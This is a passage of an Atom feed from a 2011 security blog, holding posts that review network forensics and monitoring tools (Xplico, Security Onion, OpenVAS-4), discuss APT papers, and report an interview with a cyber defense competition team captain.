almost exactly the same time our paper went live on the STI site, as if to lend its voice the arguement:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"This paper discusses what exactly APT is, whether or not it is a real threat, measures that can be implemented in order to mitigate these attacks, and why running out to buy the latest, greatest, and most expensive security appliance might not be the best use of resources."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will find consistent themes, similarly cited references, and further useful resource material in Jason's excellent work. I look forward to seeing more of Jason's work in the ISSA Journal in the future. &lt;br /&gt;&lt;br /&gt;In closing, from our paper: &lt;br /&gt;&lt;span style="font-style:italic;"&gt;"Even the best monitoring mindset and methodology may not guarantee discovery of the actual APT attack code. Instead, the power of more comprehensive analysis and correlation can discover behavior indicative of APT-related attacks and data exfiltration."&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;If APT worries you as much as it seemingly does everyone, give the papers a read, take from them what suits you, and employ the suggested tactics to help reduce attack vectors and increase situational awareness.&lt;br /&gt;&lt;br /&gt;Cheers and good luck.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-7332247412987954093?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/7332247412987954093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=7332247412987954093' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7332247412987954093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7332247412987954093'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/06/apt-anti-hype-reality-checks-and.html' title='APT: anti-hype, reality checks, and resources'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-7864991711655152688</id><published>2011-06-02T23:02:00.000-07:00</published><updated>2011-06-03T00:06:36.697-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NFAT'/><category scheme='http://www.blogger.com/atom/ns#' term='Pcapr'/><category scheme='http://www.blogger.com/atom/ns#' term='Aurora'/><category scheme='http://www.blogger.com/atom/ns#' term='APT'/><category scheme='http://www.blogger.com/atom/ns#' term='NetworkMiner'/><title type='text'>toolsmith: Xplico</title><content type='html'>Those of you who make use of Network Forensic Analysis tools (NFAT) such as &lt;a href="http://holisticinfosec.org/toolsmith/docs/august2008.pdf" target="_blank"&gt;NetworkMiner&lt;/a&gt; or &lt;a href="http://holisticinfosec.org/toolsmith/docs/july2010.html" target="_blank"&gt;Netwitness Investigator&lt;/a&gt; will certainly appreciate &lt;a href="http://www.xplico.org/"&gt;Xplico&lt;/a&gt;.&lt;br /&gt;June's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; covers Xplico, a project released under GPL that decodes packet captures (PCAP), extracting the likes of email content (POP, IMAP, and SMTP protocols), all HTTP content, VoIP calls (SIP), IM chats, FTP, TFTP, and many others. &lt;br /&gt;If you'd like a breakdown on the protocols you can grapple with check out the Xplico status &lt;a href="http://www.xplico.org/status"&gt;page&lt;/a&gt;.&lt;br /&gt;You can imagine how useful Xplico might be for policy enforcement (spot the pr0n), malware detection (spot the Renocide), or shredding IM traffic (spot the data leak).&lt;br /&gt;Experimenting with Xplico is also a great chance to check out &lt;a href="http://pcapr.com/home" target="_blank"&gt;Pcapr&lt;/a&gt;, Web 2.0 for packets. ;-)&lt;br /&gt;Xplico inlcudes a highly functional Web UI with great case and session management as seen in &lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-LpO0klljIa8/Teh9eZr6FeI/AAAAAAAAAeM/TwiTckK2aG4/s1600/XplicoUI.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 111px;" src="http://2.bp.blogspot.com/-LpO0klljIa8/Teh9eZr6FeI/AAAAAAAAAeM/TwiTckK2aG4/s320/XplicoUI.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5613874896761918946" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With a resurgence of discussion of APT given the recent bad news for RSA, as well as all the FUD spawned by Sony's endless woes, I thought a quick dissection of an Aurora attack PCAP would be worth the price of admission for you (yep, free) as seen in &lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-4oVbXGIsulE/TeiA_aVJ87I/AAAAAAAAAeQ/UuDGGWun8UM/s1600/Aurora.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 96px;" src="http://1.bp.blogspot.com/-4oVbXGIsulE/TeiA_aVJ87I/AAAAAAAAAeQ/UuDGGWun8UM/s320/Aurora.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5613878762405491634" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You'll note the beginning of a JavaScript snippet that has only the worst of intentions for your favorite version of Internet Explorer as tucked in an HTML page.&lt;br /&gt;Copy all that mayhem to a text file (in a sandbox, please), then submit it to VirusTotal (already done for you &lt;a href="http://www.virustotal.com/file-scan/report.html?id=628e7a8c2a2efd86f06b9b27485242eaf1a8cecdec98f950abe5b88690c2a222-1307082098" target="_blank"&gt;here&lt;/a&gt;) and you'll note 26 of 42 detections including &lt;a href="http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Exploit%3AJS%2FElecom.D&amp;ThreatID=-2147336389" target="_blank"&gt;Exploit:JS/Elecom.D&lt;/a&gt;.&lt;br /&gt;Want to carve off just that transaction? Select the pcap under Info from the Site page under the Web menu selction as seen in &lt;span style="font-weight:bold;"&gt;Figure 3&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-NnjDt7902kc/TeiDdpc-JoI/AAAAAAAAAec/d7uhpbHWAA4/s1600/carved.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 83px;" src="http://3.bp.blogspot.com/-NnjDt7902kc/TeiDdpc-JoI/AAAAAAAAAec/d7uhpbHWAA4/s320/carved.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5613881480884135554" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Voila!&lt;br /&gt;Ping me via russ at holisticinfosec dot org if you'd like a copy of the above mentioned Aurora PCAPs.&lt;br /&gt;&lt;br /&gt;Also, stand by for more on APT detection in outbound traffic in the next day or two.&lt;br /&gt;&lt;br /&gt;Your gonna like this tool, I guarantee it.&lt;br /&gt;Check out the article &lt;a href="http://holisticinfosec.org/toolsmith/pdf/june2011.pdf" target="_blank"&gt;here&lt;/a&gt; and Xplico &lt;a href="http://www.xplico.org/" target="_blank"&gt;here &lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-7864991711655152688?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/7864991711655152688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=7864991711655152688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7864991711655152688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7864991711655152688'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/06/toolsmith-xplico.html' title='toolsmith: Xplico'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-LpO0klljIa8/Teh9eZr6FeI/AAAAAAAAAeM/TwiTckK2aG4/s72-c/XplicoUI.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-3512986652527276064</id><published>2011-05-26T09:58:00.000-07:00</published><updated>2011-05-26T10:04:00.234-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='incident management'/><category scheme='http://www.blogger.com/atom/ns#' term='incident response'/><category scheme='http://www.blogger.com/atom/ns#' term='cyber defense challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handling'/><title type='text'>Cyber Defense Challenge: Analogies</title><content type='html'>First, an apology. I've not been posting much; heads down on grad school work.&lt;br /&gt;&lt;br /&gt;I recently had the opportunity to interview &lt;a href="http://www.cs.washington.edu/homes/aczeskis/" target="_blank"&gt;Alexei Czeskis&lt;/a&gt;, the captain of the University of Washington (UW) team who &lt;a href="http://seattletimes.nwsource.com/html/localnews/2014746226_uwcyberwin12m.html" target="_blank"&gt;won&lt;/a&gt; this year's National Collegiate Cyber Defense Competition (&lt;a href="http://www.nationalccdc.org/" target="_blank"&gt;CCDC&lt;/a&gt;).&lt;br /&gt;During my discussion with Alexei I was immediately drawn to the fact that his approach and tactics closely mirror those of mature security incident response teams.&lt;br /&gt;First, a quick break down on the CCDC:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"You have just been hired as the network and security administrators at a small company and will be taking administrative control of all information systems. You know very little about the network, what security level has been maintained, or what software has been installed. You have a limited time frame to familiarize yourself with the network and systems and to begin the security updates and patches before the red team starts actively attacking your company. In the midst of all the commotion, you have to keep up with the needs of the business and user demands while maintaining service level agreements for all critical Internet services. Welcome to the first day of the National Collegiate Cyber Defense Competition (CCDC)."&lt;/span&gt;&lt;br /&gt;The CCDC process begins with regional contests wherein 100+ schools participate at the appropriate regional contest from January until the end of March.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The UW team has won the regional all four years it's participated.&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That said, they had not achieved success at the national level due to what Alexei described as a lack of planning and strategy.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Analogy 1:&lt;/span&gt; You cannot be successful at incident response without standard operating &lt;a href="http://csrc.nist.gov/publications/nistpubs/800-61-rev1/SP800-61rev1.pdf" target="_blank"&gt;procedures, defined&lt;/a&gt; roles, practice and &lt;a href="http://resources.infosecinstitute.com/incident-response-and-audit-requirements/" target="_blank"&gt;drilling&lt;/a&gt;, as well common strategy.&lt;br /&gt;Of the steps Alexei prescribed for his team in advance of the contest(s):&lt;br /&gt;• Roles predefined &lt;br /&gt;• Have a “three hour plan”: what are your first steps for identification of vulnerabilities, short term mitigations, and longer term remediation and hardening &lt;br /&gt;• Practice in advance, ensure broad knowledge&lt;br /&gt;• Define primary and secondary subject matter expert for each roll&lt;br /&gt;• Define a true "captain" (officer)&lt;br /&gt;• Team members concentrate on their individual domains&lt;br /&gt;&lt;br /&gt;According to Alexei, maintaining order was key to winning.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Analogy 2:&lt;/span&gt; Incident "management" is essential. This role includes conflict resolution, and motivation.&lt;br /&gt;Some of Alexei's key pointers:&lt;br /&gt;1. It's important to know your players’ (incident responders’) weaknesses. &lt;br /&gt;2. Identify those who can’t multitask or self-manage; some people need direction, some don’t. &lt;br /&gt;3. Learn who needs help but won’t ask.&lt;br /&gt;4. Human component is massive, know as much as you can in advance (of an incident)&lt;br /&gt;5. One person managing is hugely important.&lt;br /&gt;6. Keep morale up; team cohesion is the most important thing!&lt;br /&gt;With six undergrads, an additional grad student, and Alexei as captain, the UW team managed to keep a very concerted, highly capable red team (military, penetration testing professionals) at bay.&lt;br /&gt;As an example, we're talking about Air Force people who like to write their own Windows rootkits and wreak havoc on unsuspecting blue teams.&lt;br /&gt;The CCDC always includes an interesting element, a "white" team if you will, to throw in administrative overhead, define use of social media, and introduce some real reliability elements.&lt;br /&gt;&lt;br /&gt;New this year was a "cloud" component, executed via virtualization (lack of access, no IDS (span), and no firewall making it very difficult to defend).&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Analogy 3:&lt;/span&gt; Incident response in the cloud is difficult! Cloud response includes requirements of components and features often well beyond your control.&lt;br /&gt;Alexei and team learned some painful lessons quickly: &lt;br /&gt;It’s easy to lock out of cloud machines (be gentle); don't enable the firewall but forget to add exception for yourselves. &lt;br /&gt;&lt;br /&gt;Some closing points from our discussion.&lt;br /&gt;Alexei would utilize these tactics if he were employed as a security incident manager.&lt;br /&gt;He stressed avoiding big morale hits, and to "just worry about doing your best, not winning."&lt;br /&gt;As a security incident manager, I can tell you with certainty that this is sound thinking and methodology.&lt;br /&gt;It's not about winning, but it is about trying to be excellent in tactics and service.&lt;br /&gt;&lt;br /&gt;Alexei and the UW team are clearly excellent: well done!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/05/cyber-defense-challenge-analogies.html&amp;amp;title=Cyber%20Defense%20Challenge:%20Analogies " title="Cyber Defense Challenge: Analogies "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/05/cyber-defense-challenge-analogies.html" title="Cyber Defense Challenge: Analogies "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/05/cyber-defense-challenge-analogies.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-3512986652527276064?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/3512986652527276064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=3512986652527276064' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3512986652527276064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3512986652527276064'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/05/cyber-defense-challenge-analogies.html' title='Cyber Defense Challenge: Analogies'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-7652858217514025465</id><published>2011-05-04T12:40:00.000-07:00</published><updated>2011-05-04T14:46:45.445-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nsm'/><category scheme='http://www.blogger.com/atom/ns#' term='correlation'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='emerging threats'/><title type='text'>toolsmith: Security Onion</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-qxG-rhWE5-o/TcHEzzP1mlI/AAAAAAAAAdo/uMaPLKAs8cc/s1600/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 36px;" src="http://4.bp.blogspot.com/-qxG-rhWE5-o/TcHEzzP1mlI/AAAAAAAAAdo/uMaPLKAs8cc/s200/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5602975805634615890" /&gt;&lt;/a&gt;&lt;br /&gt;You, dear readers, all know I'm a tool dork. &lt;br /&gt;Quite possibly, some of you may further think I'm a tool and/or a dork; we'll take that for granted. ;-)&lt;br /&gt;When I write &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; each month, I end up immersing myself very deeply in the intended tool topic. My effort for May 2011 was no different; I went way down the rabbit hole with Doug Burks' &lt;a href="http://securityonion.blogspot.com/" target="_blank"&gt;Security Onion&lt;/a&gt; (SO).&lt;br /&gt;Net result? Mad props. &lt;br /&gt;Doug continues to enhance what is the most immediately useful Live CD/DVD available to &lt;a href="http://www.informit.com/store/product.aspx?isbn=0321246772" target="_blank"&gt;NSM&lt;/a&gt; practitioners.&lt;br /&gt;I'll let my conclusion from the article serve as impetus for your further reading and use of Security Onion:&lt;span style="font-style:italic;"&gt;&lt;br /&gt;"I’ll try to avoid flagrant gushing, but Security Onion employs a congregation of the most important tools available to security and network analysts that I’ve ever discussed. Attack and reconnaissance tools are important, but I am the ultimate blue-teamer at heart. I’ve said it before: “What you don’t see can hurt you.” You can see better with Security Onion and its well-implemented deployments of &lt;a href="http://www.snort.org/" target="_blank"&gt;Snort&lt;/a&gt;/&lt;a href="http://www.openinfosecfoundation.org/index.php/download-suricata" target="_blank"&gt;Suricata&lt;/a&gt;, &lt;a href="http://www.metre.net/sancp.html" target="_blank"&gt;SANCP&lt;/a&gt;, and &lt;a href="http://sguil.sourceforge.net/" target="_blank"&gt;Sguil&lt;/a&gt;/&lt;a href="http://www.squertproject.org/"&gt;Squert&lt;/a&gt;. I will simply say that you can defend yourselves, and those you are charged with protecting, better with the likes of Security Onion."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Detect web attacks against actual SO infrastructure? Done.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-knP9mJqKbuU/TcHGDZHww9I/AAAAAAAAAdw/2bsr5JClQps/s1600/sguilXSS.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 69px;" src="http://1.bp.blogspot.com/-knP9mJqKbuU/TcHGDZHww9I/AAAAAAAAAdw/2bsr5JClQps/s200/sguilXSS.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5602977173010957266" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Detect scans against reporting hosts via &lt;a href="http://www.emergingthreats.net/" target="_blank"&gt;Emerging Threats&lt;/a&gt; sigs with instant correlation? Done.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-A-AYugwjnoE/TcHGy-PzdaI/AAAAAAAAAd4/nwsfxIlNDSc/s1600/sguilCorrelation.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 108px;" src="http://2.bp.blogspot.com/-A-AYugwjnoE/TcHGy-PzdaI/AAAAAAAAAd4/nwsfxIlNDSc/s200/sguilCorrelation.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5602977990430651810" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Visualize related output with Squert and AfterGlow? Done!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-MU6L6CmE12I/TcHG-KLAvPI/AAAAAAAAAeA/75UKU_SjCOc/s1600/squertVisualization.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 187px;" src="http://4.bp.blogspot.com/-MU6L6CmE12I/TcHG-KLAvPI/AAAAAAAAAeA/75UKU_SjCOc/s200/squertVisualization.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5602978182610337010" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Repeating from article again:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"Job well done, Doug. As an ISSA member I’m proud of your work and your contributions to our association and community. &lt;br /&gt;Readers, take advantage of this noteworthy effort."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ping me via email if you have questions (russ at holisticinfosec dot org).&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/05/toolsmith-security-onion.html&amp;amp;title=toolsmith:%20Security%20Onion " title="toolsmith: Security Onion "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/05/toolsmith-security-onion.html" title="toolsmith: Security Onion "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/05/toolsmith-security-onion.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-7652858217514025465?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/7652858217514025465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=7652858217514025465' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7652858217514025465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7652858217514025465'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/05/toolsmith-security-onion.html' title='toolsmith: Security Onion'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-qxG-rhWE5-o/TcHEzzP1mlI/AAAAAAAAAdo/uMaPLKAs8cc/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4172943715874189</id><published>2011-04-03T21:35:00.000-07:00</published><updated>2011-04-03T23:06:18.189-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenVAS'/><title type='text'>toolsmith: OpenVAS-4</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-zea1i4wnnCs/TZlfkc-HEzI/AAAAAAAAAdg/vae4Tlm7-JM/s1600/ScreenShot014.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 49px;" src="http://4.bp.blogspot.com/-zea1i4wnnCs/TZlfkc-HEzI/AAAAAAAAAdg/vae4Tlm7-JM/s200/ScreenShot014.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5591605492213814066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Between writing this post and writing April's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; a couple of weeks ago, I used &lt;a href="http://openvas.org/" target="_blank"&gt;OpenVAS-4&lt;/a&gt;, April's toolsmith topic, for a penetration testing engagement rather than the &lt;span style="font-style:italic;"&gt;other&lt;/span&gt; freely available vulnerability scanner.&lt;br /&gt;The project leads just released OpenVAS-4 in March and it offers some noteworty enhancements.&lt;br /&gt;Between the highly functional web UI, the Greebone Security Assistant, and the impressive scan configuration methodology, I may be a convert.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-GZPat8wDNLU/TZlcYchY-OI/AAAAAAAAAdQ/dCrptaQsJpo/s1600/greenbone.png" target="_blank"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 183px; height: 200px;" src="http://1.bp.blogspot.com/-GZPat8wDNLU/TZlcYchY-OI/AAAAAAAAAdQ/dCrptaQsJpo/s200/greenbone.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5591601987400038626" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;OpenVAS-4 offers seriously strong &lt;a href="http://openvas.org/news_archive.html#openvas4" target="_blank"&gt;report-fu&lt;/a&gt;; an essential part of successful engagement tooling.&lt;br /&gt;I also find the ability to slave multiple OpenVAS Managers to one Manager to load balance and distrbute resource intensive scan tasks.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As part of recent testing I discovered a host running the &lt;a href="http://code.google.com/p/mongoose/" target="_blank"&gt;Mongoose&lt;/a&gt; web server.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-RrmDzPn0EEQ/TZlb8HngruI/AAAAAAAAAdI/Dfs48OpLU5M/s1600/OpenVAS.png" target="_blank"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 146px; height: 200px;" src="http://4.bp.blogspot.com/-RrmDzPn0EEQ/TZlb8HngruI/AAAAAAAAAdI/Dfs48OpLU5M/s200/OpenVAS.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5591601500752228066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It's here we'll have some fun, a contest if you will, more of a guessing game than anything.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;On what specific host type was Mongoose running?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Hint:&lt;/span&gt; Keep in mind that Mongoose is an "easy to use web server. It also can be used as embedded web server library to provide a web interface to applications."&lt;br /&gt;First correct guess received via &lt;span style="font-style:italic;"&gt;holisticinfosec at gmail dot com&lt;/span&gt; will receive an information security book of my choosing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Check out OpenVAS; I think you'll be impressed.&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4172943715874189?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4172943715874189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4172943715874189' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4172943715874189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4172943715874189'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/04/toolsmith-openvas-4.html' title='toolsmith: OpenVAS-4'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-zea1i4wnnCs/TZlfkc-HEzI/AAAAAAAAAdg/vae4Tlm7-JM/s72-c/ScreenShot014.png' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4047912550734163778</id><published>2011-03-24T23:02:00.000-07:00</published><updated>2011-03-24T23:20:05.147-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='SDL'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Top 10'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>OWASP Top 10 Tools and Tactics @ InfoSec Resources</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.owasp.org/images/3/34/Owasp_logo_normal.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 216px; height: 216px;" src="http://www.owasp.org/images/3/34/Owasp_logo_normal.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've been a busy lad of late and haven't been keeping up on posts, but I have been turning out some work elsewhere. &lt;br /&gt;If you haven't already taken note, checkout my second installment for &lt;a href="http://resources.infosecinstitute.com/"&gt;InfoSec Resources&lt;/a&gt;, specifically &lt;a href="http://resources.infosecinstitute.com/owasp-top-10-tools-and-tactics/"&gt;OWASP Top 10 Tools and Tactics&lt;/a&gt;.&lt;br /&gt;It even made #4 on Reddit under NetSec and was March 24th's &lt;a 